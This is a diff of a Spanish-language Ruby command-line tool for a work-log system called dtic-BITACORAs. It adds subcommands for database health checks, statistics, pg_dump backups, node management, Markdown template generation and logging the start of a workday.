||||
opt.on("--horas-p HORAS", "Horas presenciales") { |h| opts[:horas_presencial] = h.to_f }
|
||||
opt.on("--horas-r HORAS", "Horas remotas") { |h| opts[:horas_remoto] = h.to_f }
|
||||
opt.on("--desc DESC", "Descripción o detalle para el hito") { |d| opts[:descripcion] = d }
|
||||
end
|
||||
|
||||
begin
|
||||
parser.parse!(args)
|
||||
rescue OptionParser::InvalidOption => e
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
exit 1
|
||||
end
|
||||
|
||||
if opts.values.all?(&:nil?)
|
||||
puts "#{Color::YELLOW}⚠ No se especificó nada para actualizar. Use --estado, --horas-p, --horas-r o --desc#{Color::RESET}"
|
||||
return
|
||||
end
|
||||
|
||||
puts "#{Color::CYAN}🔄 Actualizando hito #{id_hito} del proyecto #{proyecto.upcase}...#{Color::RESET}"
|
||||
|
||||
BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
begin
|
||||
res = db.update_hito(
|
||||
proyecto, id_hito,
|
||||
estado: opts[:estado],
|
||||
horas_presencial: opts[:horas_presencial],
|
||||
horas_remoto: opts[:horas_remoto],
|
||||
descripcion: opts[:descripcion]
|
||||
)
|
||||
puts "#{Color::GREEN}✅ Hito actualizado exitosamente.#{Color::RESET}"
|
||||
hrs = "#{res['horas_presencial'].to_f}P / #{res['horas_remoto'].to_f}R"
|
||||
puts " Estado actual : #{res['estado']}"
|
||||
puts " Horas imputadas : #{hrs}"
|
||||
rescue => e
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,247 @@
|
||||
module ADN
|
||||
module SubcomandoDBMisc
|
||||
# Comando: salud:bd - Verificar conexión y estado de la base de datos
|
||||
def comando_salud_bd
|
||||
puts "#{Color::CYAN}🔍 Verificando salud de la base de datos dtic-BITACORAs...#{Color::RESET}"
|
||||
puts ""
|
||||
|
||||
begin
|
||||
BitacorasDB::BitacoraDB.with_connection(env: :development) do |db|
|
||||
salud = db.health_check
|
||||
|
||||
case salud[:status]
|
||||
when 'healthy'
|
||||
puts "#{Color::GREEN}✅ Conexión a PostgreSQL establecida#{Color::RESET}"
|
||||
puts ""
|
||||
puts " #{Color::BOLD}Versión PostgreSQL:#{Color::RESET} #{salud[:postgres_version].split(',')[0]}"
|
||||
puts " #{Color::BOLD}Bitácoras en BD:#{Color::RESET} #{salud[:bitacoras_count]}"
|
||||
puts " #{Color::BOLD}Servidor:#{Color::RESET} #{salud[:connection][:host]}:#{salud[:connection][:port]}"
|
||||
puts " #{Color::BOLD}Base de datos:#{Color::RESET} #{salud[:connection][:database]}"
|
||||
puts " #{Color::BOLD}Timestamp:#{Color::RESET} #{salud[:timestamp]}"
|
||||
when 'disconnected'
|
||||
puts "#{Color::RED}❌ No hay conexión activa a la base de datos#{Color::RESET}"
|
||||
puts " #{Color::DIM}#{salud[:message]}#{Color::RESET}"
|
||||
when 'unhealthy'
|
||||
puts "#{Color::YELLOW}⚠ Problema de salud en la base de datos#{Color::RESET}"
|
||||
puts " #{Color::DIM}#{salud[:message]}#{Color::RESET}"
|
||||
end
|
||||
end
|
||||
|
||||
# Verificar contenedor Docker
|
||||
puts ""
|
||||
puts "#{Color::CYAN}🔍 Verificando contenedor Docker...#{Color::RESET}"
|
||||
if system("docker ps --filter name=postgres --format '{{.Names}}' | grep -q postgres")
|
||||
puts "#{Color::GREEN}✅ Contenedor PostgreSQL en ejecución#{Color::RESET}"
|
||||
else
|
||||
puts "#{Color::YELLOW}⚠ Contenedor PostgreSQL no encontrado#{Color::RESET}"
|
||||
puts " Ejecuta: #{Color::DIM}cd dtic-BITACORAs && docker-compose up -d#{Color::RESET}"
|
||||
end
|
||||
|
||||
rescue PG::ConnectionBad => e
|
||||
puts "#{Color::RED}❌ Error de conexión a PostgreSQL#{Color::RESET}"
|
||||
puts " #{e.message}"
|
||||
puts ""
|
||||
puts "#{Color::YELLOW}Solución:#{Color::RESET}"
|
||||
puts " 1. Verifica que el contenedor esté en ejecución:"
|
||||
puts " #{Color::DIM}cd dtic-BITACORAs && docker-compose up -d#{Color::RESET}"
|
||||
puts " 2. Espera 10-20 segundos para que PostgreSQL inicie"
|
||||
puts " 3. Verifica credenciales en tools/config/database.yml"
|
||||
rescue => e
|
||||
puts "#{Color::RED}❌ Error inesperado#{Color::RESET}"
|
||||
puts " #{e.message}"
|
||||
end
|
||||
end
|
||||
|
||||
def comando_estadisticas
|
||||
puts "#{Color::CYAN}📊 Estadísticas del sistema dtic-BITACORAs#{Color::RESET}"
|
||||
|
||||
BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
stats = db.statistics
|
||||
|
||||
puts ""
|
||||
puts "#{Color::BOLD}📈 Conteos de tablas:#{Color::RESET}"
|
||||
puts " #{Color::DIM}Nodos:#{Color::RESET} #{stats[:nodos] || 0}"
|
||||
puts " #{Color::DIM}Bitácoras:#{Color::RESET} #{stats[:bitacoras] || 0}"
|
||||
puts " #{Color::DIM}Temas:#{Color::RESET} #{stats[:temas] || 0}"
|
||||
puts " #{Color::DIM}Entradas:#{Color::RESET} #{stats[:entradas] || 0}"
|
||||
|
||||
if stats[:nodos_con_entradas]
|
||||
puts ""
|
||||
puts "#{Color::BOLD}📊 Estadísticas de actividad:#{Color::RESET}"
|
||||
puts " #{Color::DIM}Nodos con entradas:#{Color::RESET} #{stats[:nodos_con_entradas]}"
|
||||
puts " #{Color::DIM}Días con actividad:#{Color::RESET} #{stats[:dias_con_actividad]}"
|
||||
puts " #{Color::DIM}Entradas generadas por IA:#{Color::RESET} #{stats[:entradas_ia]}"
|
||||
puts " #{Color::DIM}Entradas completadas:#{Color::RESET} #{stats[:entradas_completadas]}"
|
||||
end
|
||||
|
||||
# Calcular porcentajes
|
||||
total_entradas = stats[:entradas] || 0
|
||||
if total_entradas > 0
|
||||
porcentaje_ia = (stats[:entradas_ia] || 0) * 100 / total_entradas
|
||||
porcentaje_completadas = (stats[:entradas_completadas] || 0) * 100 / total_entradas
|
||||
|
||||
puts ""
|
||||
puts "#{Color::BOLD}📈 Porcentajes:#{Color::RESET}"
|
||||
puts " #{Color::DIM}Entradas IA:#{Color::RESET} #{porcentaje_ia}%"
|
||||
puts " #{Color::DIM}Entradas completadas:#{Color::RESET} #{porcentaje_completadas}%"
|
||||
end
|
||||
end
|
||||
|
||||
def comando_backup(args)
|
||||
opts = { output: nil, compress: true, timestamp: true }
|
||||
|
||||
parser = OptionParser.new do |opt|
|
||||
opt.banner = "Uso: adn db backup [OPCIONES]"
|
||||
opt.on("--output FILE", "Archivo de salida (default: backup_YYYYMMDD_HHMMSS.sql)") do |file|
|
||||
opts[:output] = file
|
||||
end
|
||||
opt.on("--no-compress", "No comprimir el archivo de backup") do
|
||||
opts[:compress] = false
|
||||
end
|
||||
opt.on("--no-timestamp", "No agregar timestamp al nombre del archivo") do
|
||||
opts[:timestamp] = false
|
||||
end
|
||||
opt.on("-h", "--help", "Mostrar ayuda") do
|
||||
puts opt
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
parser.parse!(args)
|
||||
rescue OptionParser::InvalidOption => e
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
puts "#{Color::CYAN}💾 Creando backup de la base de datos dtic-BITACORAs...#{Color::RESET}"
|
||||
puts " #{Color::DIM}Compresión: #{opts[:compress]}, Timestamp: #{opts[:timestamp]}#{Color::RESET}"
|
||||
|
||||
# Cargar configuración de base de datos
|
||||
config_path = File.join(__dir__, '..', '..', 'config', 'database.yml')
|
||||
unless File.exist?(config_path)
|
||||
puts "#{Color::RED}✗ Archivo de configuración no encontrado: #{config_path}#{Color::RESET}"
|
||||
exit 1
|
||||
end
|
||||
|
||||
begin
|
||||
config = YAML.load_file(config_path)
|
||||
db_config = config['development'] || config.first[1] # Tomar primer entorno si no hay development
|
||||
|
||||
host = db_config['host'] || 'localhost'
|
||||
port = db_config['port'] || 5433
|
||||
database = db_config['database']
|
||||
username = db_config['username']
|
||||
password = db_config['password']
|
||||
|
||||
unless database && username
|
||||
puts "#{Color::RED}✗ Configuración de base de datos incompleta#{Color::RESET}"
|
||||
exit 1
|
||||
end
|
||||
|
||||
# Generar nombre de archivo
|
||||
timestamp = Time.now.strftime("%Y%m%d_%H%M%S")
|
||||
base_name = "dtic_bitacoras_backup_#{timestamp}"
|
||||
sql_file = opts[:output] || "#{base_name}.sql"
|
||||
final_file = opts[:compress] ? "#{sql_file}.gz" : sql_file
|
||||
|
||||
puts " #{Color::DIM}Archivo de salida: #{final_file}#{Color::RESET}"
|
||||
|
||||
# Construir comando pg_dump
|
||||
dump_cmd = "PGPASSWORD=\"#{password}\" pg_dump"
|
||||
dump_cmd += " -h #{host} -p #{port} -U #{username} -d #{database}"
|
||||
dump_cmd += " --schema=bitacoras" # Solo esquema bitacoras
|
||||
dump_cmd += " --clean --if-exists" # Incluir DROP statements
|
||||
dump_cmd += " --no-owner --no-privileges" # No incluir permisos
|
||||
dump_cmd += " --inserts" # Usar INSERT en lugar de COPY
|
||||
|
||||
if opts[:compress]
|
||||
dump_cmd += " | gzip -c > \"#{final_file}\""
|
||||
else
|
||||
dump_cmd += " > \"#{final_file}\""
|
||||
end
|
||||
|
||||
# Ejecutar backup
|
||||
puts " #{Color::DIM}Ejecutando pg_dump...#{Color::RESET}"
|
||||
system(dump_cmd)
|
||||
|
||||
if $?.success?
|
||||
file_size = File.size(final_file) rescue 0
|
||||
size_str = file_size > 0 ? " (#{file_size / 1024} KB)" : ""
|
||||
puts "#{Color::GREEN}✅ Backup creado exitosamente: #{final_file}#{size_str}#{Color::RESET}"
|
||||
puts " #{Color::DIM}Para restaurar:#{Color::RESET} gunzip -c #{final_file} | psql -h #{host} -p #{port} -U #{username} -d #{database}"
|
||||
else
|
||||
puts "#{Color::RED}✗ Error creando backup#{Color::RESET}"
|
||||
# Limpiar archivo parcial si existe
|
||||
File.delete(final_file) if File.exist?(final_file)
|
||||
exit 1
|
||||
end
|
||||
|
||||
rescue => e
|
||||
puts "#{Color::RED}✗ Error durante backup: #{e.message}#{Color::RESET}"
|
||||
puts "#{Color::DIM}#{e.backtrace.first}#{Color::RESET}" if ENV['ADN_DEBUG']
|
||||
exit 1
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
||||
# Comando: archivar:md - Mover bitácoras y proyectos MD importados/obsoletos a carpetas _hist
|
||||
def comando_archivar_md
|
||||
require 'fileutils'
|
||||
puts "#{Color::CYAN}🧹 Iniciando limpieza y archivado de archivos Markdown...#{Color::RESET}"
|
||||
|
||||
BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
bitacoras_dir = defined?(ADN::BITACORAS_DIR) ? ADN::BITACORAS_DIR : File.expand_path('../../../docs/bitacoras', __dir__)
|
||||
proyectos_dir = File.expand_path('../../../docs/proyectos', __dir__)
|
||||
|
||||
hist_bitacoras = File.join(bitacoras_dir, '_hist')
|
||||
hist_proyectos = File.join(proyectos_dir, '_hist')
|
||||
|
||||
FileUtils.mkdir_p(hist_bitacoras)
|
||||
FileUtils.mkdir_p(hist_proyectos)
|
||||
|
||||
# 1. Archivar Bitácoras Diarias
|
||||
puts "\\n#{Color::BOLD}>> Verificando Bitácoras Diarias...#{Color::RESET}"
|
||||
bitacoras_db = db.send(:execute, "SELECT fecha FROM bitacoras.bitacoras").map { |row| row['fecha'] }
|
||||
|
||||
Dir.glob(File.join(bitacoras_dir, '*.md')).each do |md_path|
|
||||
next if File.basename(md_path) == 'README.md'
|
||||
fecha_md = File.basename(md_path, '.md')
|
||||
|
||||
if bitacoras_db.include?(fecha_md)
|
||||
dest = File.join(hist_bitacoras, File.basename(md_path))
|
||||
FileUtils.mv(md_path, dest)
|
||||
puts " #{Color::GREEN}✓ Archivada:#{Color::RESET} #{fecha_md}.md"
|
||||
else
|
||||
puts " #{Color::YELLOW}⚠ No en DB (se omite):#{Color::RESET} #{fecha_md}.md"
|
||||
end
|
||||
end
|
||||
|
||||
# 2. Archivar Proyectos
|
||||
puts "\\n#{Color::BOLD}>> Verificando Proyectos MD...#{Color::RESET}"
|
||||
proyectos_db = db.send(:execute, "SELECT codigo FROM bitacoras.proyectos").map { |row| row['codigo'] }
|
||||
|
||||
Dir.glob(File.join(proyectos_dir, '*.md')).each do |md_path|
|
||||
next if File.basename(md_path) == 'README.md'
|
||||
# Extraer el código PXXXX del principio del archivo, asumiendo formato PXXXX_Titulo.md o PXXXX.md
|
||||
codigo_match = File.basename(md_path).match(/^(P\d+)/)
|
||||
|
||||
if codigo_match && proyectos_db.include?(codigo_match[1])
|
||||
dest = File.join(hist_proyectos, File.basename(md_path))
|
||||
FileUtils.mv(md_path, dest)
|
||||
puts " #{Color::GREEN}✓ Archivado Proyecto:#{Color::RESET} #{File.basename(md_path)}"
|
||||
else
|
||||
puts " #{Color::YELLOW}⚠ Proyecto no registrado en DB o formato no válido:#{Color::RESET} #{File.basename(md_path)}"
|
||||
end
|
||||
end
|
||||
|
||||
puts "\\n#{Color::GREEN}✅ Limpieza Markdown finalizada. Entorno 100% DB-First fortalecido.#{Color::RESET}"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,139 @@
|
||||
module ADN
|
||||
module SubcomandoDBNodo
|
||||
# Comando: nodo:crear [OPCIONES] - Crear nuevo nodo
|
||||
def comando_nodo_crear(args)
|
||||
opts = { nombre: nil, ip: nil, tipo: 'servidor', descripcion: nil, activo: true }
|
||||
|
||||
parser = OptionParser.new do |opt|
|
||||
opt.banner = "Uso: adn db nodo:crear [OPCIONES]"
|
||||
opt.on("--nombre NOMBRE", "Nombre único del nodo (requerido)") do |n|
|
||||
opts[:nombre] = n
|
||||
end
|
||||
opt.on("--ip DIRECCION", "Dirección IP (opcional)") do |i|
|
||||
opts[:ip] = i
|
||||
end
|
||||
opt.on("--tipo TIPO", "Tipo (servidor, hipervisor, vm, pc)") do |t|
|
||||
opts[:tipo] = t
|
||||
end
|
||||
opt.on("--descripcion TEXTO", "Descripción del nodo") do |d|
|
||||
opts[:descripcion] = d
|
||||
end
|
||||
opt.on("--inactivo", "Crear nodo como inactivo") do
|
||||
opts[:activo] = false
|
||||
end
|
||||
opt.on("-h", "--help", "Mostrar ayuda") do
|
||||
puts opt
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
parser.parse!(args)
|
||||
rescue OptionParser::InvalidOption => e
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
unless opts[:nombre]
|
||||
puts "#{Color::RED}✗ Error: --nombre es requerido#{Color::RESET}"
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
puts "#{Color::CYAN}🖥️ Creando nodo '#{opts[:nombre]}'...#{Color::RESET}"
|
||||
|
||||
BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
begin
|
||||
nodo = db.create_nodo(
|
||||
nombre: opts[:nombre],
|
||||
ip: opts[:ip],
|
||||
tipo: opts[:tipo],
|
||||
descripcion: opts[:descripcion],
|
||||
activo: opts[:activo]
|
||||
)
|
||||
|
||||
puts "#{Color::GREEN}✅ Nodo creado exitosamente#{Color::RESET}"
|
||||
puts ""
|
||||
puts " #{Color::BOLD}ID:#{Color::RESET} #{nodo['id']}"
|
||||
puts " #{Color::BOLD}Nombre:#{Color::RESET} #{nodo['nombre']}"
|
||||
puts " #{Color::BOLD}IP:#{Color::RESET} #{nodo['ip'] || '(sin IP)'}"
|
||||
puts " #{Color::BOLD}Tipo:#{Color::RESET} #{nodo['tipo']}"
|
||||
puts " #{Color::BOLD}Activo:#{Color::RESET} #{nodo['activo'] ? 'Sí' : 'No'}"
|
||||
puts " #{Color::BOLD}Descripción:#{Color::RESET} #{nodo['descripcion'] || '(sin descripción)'}"
|
||||
puts " #{Color::BOLD}Creado:#{Color::RESET} #{nodo['created_at']}"
|
||||
rescue PG::UniqueViolation
|
||||
puts "#{Color::YELLOW}⚠ Ya existe un nodo con el nombre '#{opts[:nombre]}'#{Color::RESET}"
|
||||
puts " Usa #{Color::DIM}adn db nodo:listar#{Color::RESET} para ver nodos existentes"
|
||||
rescue => e
|
||||
puts "#{Color::RED}✗ Error creando nodo: #{e.message}#{Color::RESET}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Comando: nodo:listar [OPCIONES] - Listar nodos del sistema
|
||||
def comando_nodo_listar(args)
|
||||
opts = { activo: nil, tipo: nil }
|
||||
|
||||
parser = OptionParser.new do |opt|
|
||||
opt.banner = "Uso: adn db nodo:listar [OPCIONES]"
|
||||
opt.on("--activo", "Mostrar solo nodos activos") do
|
||||
opts[:activo] = true
|
||||
end
|
||||
opt.on("--inactivo", "Mostrar solo nodos inactivos") do
|
||||
opts[:activo] = false
|
||||
end
|
||||
opt.on("--tipo TIPO", "Filtrar por tipo (servidor, hipervisor, vm, pc)") do |t|
|
||||
opts[:tipo] = t
|
||||
end
|
||||
opt.on("-h", "--help", "Mostrar ayuda") do
|
||||
puts opt
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
parser.parse!(args)
|
||||
rescue OptionParser::InvalidOption => e
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
puts "#{Color::CYAN}🖥️ Listando nodos...#{Color::RESET}"
|
||||
|
||||
BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
nodos = db.list_nodos(activo: opts[:activo], tipo: opts[:tipo], limit: 100)
|
||||
|
||||
if nodos.empty?
|
||||
puts "#{Color::YELLOW}⚠ No se encontraron nodos#{Color::RESET}"
|
||||
return
|
||||
end
|
||||
|
||||
puts ""
|
||||
puts "#{Color::BOLD}#{"ID".ljust(5)} #{"Nombre".ljust(20)} #{"IP".ljust(15)} #{"Tipo".ljust(12)} #{"Activo".ljust(6)} #{"Descripción".ljust(30)}#{Color::RESET}"
|
||||
puts "#{"─" * 5} #{"─" * 20} #{"─" * 15} #{"─" * 12} #{"─" * 6} #{"─" * 30}"
|
||||
|
||||
nodos.each do |n|
|
||||
id = n['id'].to_s
|
||||
nombre = n['nombre']
|
||||
ip = n['ip'] || '(sin IP)'
|
||||
tipo = n['tipo']
|
||||
activo = n['activo'] ? '✅' : '❌'
|
||||
desc = n['descripcion'] || ''
|
||||
desc = desc[0..27] + '...' if desc.length > 30
|
||||
|
||||
puts "#{id.ljust(5)} #{nombre.ljust(20)} #{ip.ljust(15)} #{tipo.ljust(12)} #{activo.ljust(6)} #{desc.ljust(30)}"
|
||||
end
|
||||
|
||||
puts ""
|
||||
puts "Total: #{nodos.length} nodos"
|
||||
|
||||
# Estadísticas por tipo
|
||||
tipos = nodos.group_by { |n| n['tipo'] }
|
||||
puts "#{Color::DIM}Tipos: #{tipos.map { |t, ns| "#{t}: #{ns.length}" }.join(', ')}#{Color::RESET}"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,230 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'date'
|
||||
require_relative '../core/colores'
|
||||
|
||||
class SubcomandoGenerar
|
||||
def initialize(args, logger)
|
||||
@args = args
|
||||
@logger = logger
|
||||
end
|
||||
|
||||
def ejecutar
|
||||
# Envolvemos todo en un manejador de eventos del sistema
|
||||
ADN.eventos.publicar(:sistema_iniciado, { subcomando: 'generar' }, silencioso: true)
|
||||
if @args.empty?
|
||||
@logger.error("Se requiere tipo de generación")
|
||||
mostrar_ayuda_generar
|
||||
exit 1
|
||||
end
|
||||
|
||||
tipo = @args[0]
|
||||
@args.shift
|
||||
|
||||
case tipo
|
||||
when 'bitacora'
|
||||
generar_bitacora
|
||||
when 'nodo'
|
||||
generar_nodo
|
||||
when 'proyecto'
|
||||
generar_proyecto
|
||||
else
|
||||
@logger.error("Tipo de generación desconocido: #{tipo}")
|
||||
mostrar_ayuda_generar
|
||||
exit 1
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def mostrar_ayuda_generar
|
||||
puts "Uso: ./adn/tools/run generar <tipo> [argumentos]"
|
||||
puts ""
|
||||
puts "Tipos disponibles:"
|
||||
puts " bitacora [fecha] Generar nueva bitácora (fecha: YYYY-MM-DD, default: hoy)"
|
||||
puts " nodo <nombre> Generar ficha de nodo"
|
||||
puts " proyecto <código> Generar manifiesto de proyecto"
|
||||
end
|
||||
|
||||
def generar_bitacora
|
||||
fecha = @args[0] || Date.today.iso8601
|
||||
|
||||
# Validar formato de fecha
|
||||
unless fecha.match?(/^\d{4}-\d{2}-\d{2}$/)
|
||||
@logger.error("Formato de fecha inválido. Usar YYYY-MM-DD")
|
||||
exit 1
|
||||
end
|
||||
|
||||
ruta_bitacora = File.join(ADN::BITACORAS_DIR, "#{fecha}.md")
|
||||
|
||||
if File.exist?(ruta_bitacora)
|
||||
@logger.advertencia("La bitácora para #{fecha} ya existe")
|
||||
puts "#{Color::YELLOW}⚠ La bitácora #{fecha}.md ya existe#{Color::RESET}"
|
||||
exit 0
|
||||
end
|
||||
|
||||
# Plantilla de bitácora
|
||||
plantilla = <<~PLANTILLA_BITACORA
|
||||
# Bitácora #{fecha}
|
||||
|
||||
---
|
||||
|
||||
## 📋 Control de Gestión
|
||||
|
||||
### Pendientes
|
||||
|
||||
| ID | Nodo | Detalle |
|
||||
| :--- | :--- | :--- |
|
||||
|
||||
### En Proceso
|
||||
|
||||
| ID | Nodo | Detalle |
|
||||
| :--- | :--- | :--- |
|
||||
|
||||
### Resumen de Actividades
|
||||
|
||||
| Nodo | Resumen Integral |
|
||||
| :--- | :--- |
|
||||
|
||||
---
|
||||
|
||||
## 📝 Actividades Detalladas
|
||||
|
||||
<!-- Agregar actividades por nodo aquí -->
|
||||
|
||||
---
|
||||
|
||||
<!-- 🤖 PREMISAS DE TRABAJO (IA): Fuente de Verdad → adn/05_ia.md -->
|
||||
PLANTILLA_BITACORA
|
||||
|
||||
File.write(ruta_bitacora, plantilla)
|
||||
|
||||
@logger.exito("Bitácora creada: #{fecha}.md")
|
||||
puts "#{Color::GREEN}✓ Bitácora creada en: #{ruta_bitacora}#{Color::RESET}"
|
||||
puts "#{Color::DIM}Para editarla: vim #{ruta_bitacora}#{Color::RESET}"
|
||||
end
|
||||
|
||||
def generar_nodo
|
||||
if @args.empty?
|
||||
@logger.error("Se requiere nombre para el nodo")
|
||||
puts "Uso: ./adn/tools/run generar nodo <nombre-nodo>"
|
||||
exit 1
|
||||
end
|
||||
|
||||
nombre = @args[0].downcase # Forzar minúsculas según gobernanza
|
||||
|
||||
ruta_nodo = File.join(ADN::NODOS_DIR, "#{nombre}.md")
|
||||
|
||||
if File.exist?(ruta_nodo)
|
||||
@logger.advertencia("La ficha para el nodo #{nombre} ya existe")
|
||||
puts "#{Color::YELLOW}⚠ La ficha #{nombre}.md ya existe#{Color::RESET}"
|
||||
exit 0
|
||||
end
|
||||
|
||||
# Plantilla de nodo
|
||||
plantilla = <<~PLANTILLA_NODO
|
||||
# Ficha de Nodo: #{nombre}
|
||||
|
||||
| Atributo | Valor |
|
||||
| :--- | :--- |
|
||||
| **Hostname** | `#{nombre}` |
|
||||
| **IP LAN** | `10.0.10.X` |
|
||||
| **Sistema Operativo** | *Especificar* |
|
||||
| **Rol** | *Describir función* |
|
||||
|
||||
## Especificaciones de Hardware
|
||||
- **CPU**: *Especificar*
|
||||
- **RAM**: *Especificar*
|
||||
- **Disco**: *Especificar*
|
||||
|
||||
## Servicios y Responsabilidades
|
||||
1. *Listar servicios críticos*
|
||||
|
||||
## Acceso y Mantenimiento
|
||||
- **Gestión**: *SSH, Web, etc.*
|
||||
- **Backup**: *Estrategia de respaldo*
|
||||
- **Monitorización**: *Herramientas de monitoreo*
|
||||
|
||||
## Dependencias
|
||||
- *Listar nodos/proyectos dependientes*
|
||||
|
||||
## Historial de Cambios Relevantes
|
||||
- #{Date.today}: Ficha creada automáticamente
|
||||
PLANTILLA_NODO
|
||||
|
||||
File.write(ruta_nodo, plantilla)
|
||||
|
||||
@logger.exito("Ficha de nodo creada: #{nombre}.md")
|
||||
puts "#{Color::GREEN}✓ Ficha de nodo creada en: #{ruta_nodo}#{Color::RESET}"
|
||||
end
|
||||
|
||||
def generar_proyecto
|
||||
if @args.empty?
|
||||
@logger.error("Se requiere código para el proyecto")
|
||||
puts "Uso: ./adn/tools/run generar proyecto <código> [nombre]"
|
||||
exit 1
|
||||
end
|
||||
|
||||
codigo = @args[0].upcase
|
||||
nombre = @args[1] || "Proyecto #{codigo}"
|
||||
|
||||
ruta_proyecto = File.join(ADN::PROYECTOS_DIR, "#{codigo}_#{nombre.downcase.gsub(/\s+/, '_')}.md")
|
||||
|
||||
if File.exist?(ruta_proyecto)
|
||||
@logger.advertencia("El manifiesto para el proyecto #{codigo} ya existe")
|
||||
puts "#{Color::YELLOW}⚠ El manifiesto #{codigo}_*.md ya existe#{Color::RESET}"
|
||||
exit 0
|
||||
end
|
||||
|
||||
# Plantilla de proyecto
|
||||
plantilla = <<~PLANTILLA_PROYECTO
|
||||
# #{codigo} - #{nombre}
|
||||
|
||||
**Estado:** 📍 Definido
|
||||
**Fecha Inicio:** #{Date.today}
|
||||
**Fecha Fin Estimada:** *Especificar*
|
||||
|
||||
## Objetivo
|
||||
*Describir el propósito y qué problema resuelve*
|
||||
|
||||
## Stakeholders
|
||||
| Rol | Nombre | Contacto |
|
||||
| :--- | :--- | :--- |
|
||||
| *Ej: Coordinador* | *Nombre* | *email/tel* |
|
||||
|
||||
## 🌐 Topología y Contexto de Red
|
||||
*Describir ubicación de nodos, subredes, requisitos de acceso*
|
||||
|
||||
## Nodos Involucrados
|
||||
### Nodos Exclusivos (Core)
|
||||
- *Listar nodos centrales del proyecto*
|
||||
|
||||
### Nodos de Soporte/Infraestructura
|
||||
- *Listar nodos de infraestructura compartida*
|
||||
|
||||
## Herramientas
|
||||
- *Software, scripts y servicios utilizados*
|
||||
|
||||
## Hitos Clave
|
||||
| ID | Hito | Estado | Fecha |
|
||||
| :--- | :--- | :---: | :--- |
|
||||
| 1 | *Primer hito* | 📍 | *Fecha* |
|
||||
|
||||
## Dashboard
|
||||
*URL del panel de seguimiento web (si aplica)*
|
||||
|
||||
## Referencias
|
||||
- [ADN del Proyecto](../adn/00_indice.md)
|
||||
- *Otras referencias relevantes*
|
||||
|
||||
---
|
||||
|
||||
*Manifiesto generado automáticamente el #{Date.today}*
|
||||
PLANTILLA_PROYECTO
|
||||
|
||||
File.write(ruta_proyecto, plantilla)
|
||||
|
||||
@logger.exito("Manifiesto de proyecto creado: #{codigo}")
|
||||
puts "#{Color::GREEN}✓ Manifiesto creado en: #{ruta_proyecto}#{Color::RESET}"
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,61 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
# adn/tools/cli/inicio.rb — Subcomando para inicio de jornada laboral (DB-First)
|
||||
# ==============================================================================
|
||||
|
||||
require 'date'
|
||||
require 'time'
|
||||
require_relative '../db/core/bitacora_db'
|
||||
|
||||
module ADN
|
||||
class SubcomandoInicio
|
||||
require_relative '../core/colores'
|
||||
|
||||
def initialize(args, logger)
|
||||
@args = args
|
||||
@logger = logger
|
||||
@fecha = Date.today
|
||||
end
|
||||
|
||||
def ejecutar
|
||||
if @args.empty? || !(@args.include?('jornada'))
|
||||
puts "#{Color::YELLOW}Uso: ./adn/tools/run inicio de jornada [presencial|remoto]#{Color::RESET}"
|
||||
return
|
||||
end
|
||||
|
||||
modo = @args.include?('presencial') ? 'P' : 'R'
|
||||
tipo_str = modo == 'P' ? 'Presencial' : 'Remoto'
|
||||
hora_ini = Time.now.strftime('%H:%M')
|
||||
|
||||
@logger.info("Iniciando jornada #{tipo_str} (Modo DB-First)")
|
||||
|
||||
BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
# 1. Asegurar que existe la bitácora
|
||||
bitacora = db.find_bitacora_by_fecha(@fecha)
|
||||
unless bitacora
|
||||
@logger.info("Creando bitácora en DB para hoy...")
|
||||
bitacora = db.create_bitacora(fecha: @fecha)
|
||||
end
|
||||
|
||||
# 2. Obtener nodo srv-ns8
|
||||
nodo = db.find_nodo_by_nombre('srv-ns8')
|
||||
unless nodo
|
||||
@logger.warn("Nodo 'srv-ns8' no encontrado, usando nodo general...")
|
||||
# Podríamos crearlo o buscar uno por defecto
|
||||
end
|
||||
|
||||
# 3. Crear entrada de inicio
|
||||
db.create_entrada(
|
||||
inicio: hora_ini,
|
||||
descripcion: "Inicio de jornada #{tipo_str.downcase}. Sincronización de contexto y revisión de tareas.",
|
||||
estado: '👁️',
|
||||
modo: modo,
|
||||
bitacora_id: bitacora['id'],
|
||||
nodo_id: nodo ? nodo['id'] : nil
|
||||
)
|
||||
|
||||
@logger.exito("Entrada de inicio creada en Base de Datos.")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,507 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
# adn/tools/subcomando_plan.rb — Subcomando para seguimiento y gestión del plan ADN
|
||||
# ==============================================================================
|
||||
# Este subcomando proporciona herramientas para el seguimiento, actualización y
|
||||
# reporte del plan integral de integración ADN con dtic-BITACORAs.
|
||||
#
|
||||
# Características principales:
|
||||
# • Parseo y análisis del archivo de plan Markdown
|
||||
# • Actualización del estado de tareas (pendiente/completado)
|
||||
# • Generación de reportes de progreso en múltiples formatos
|
||||
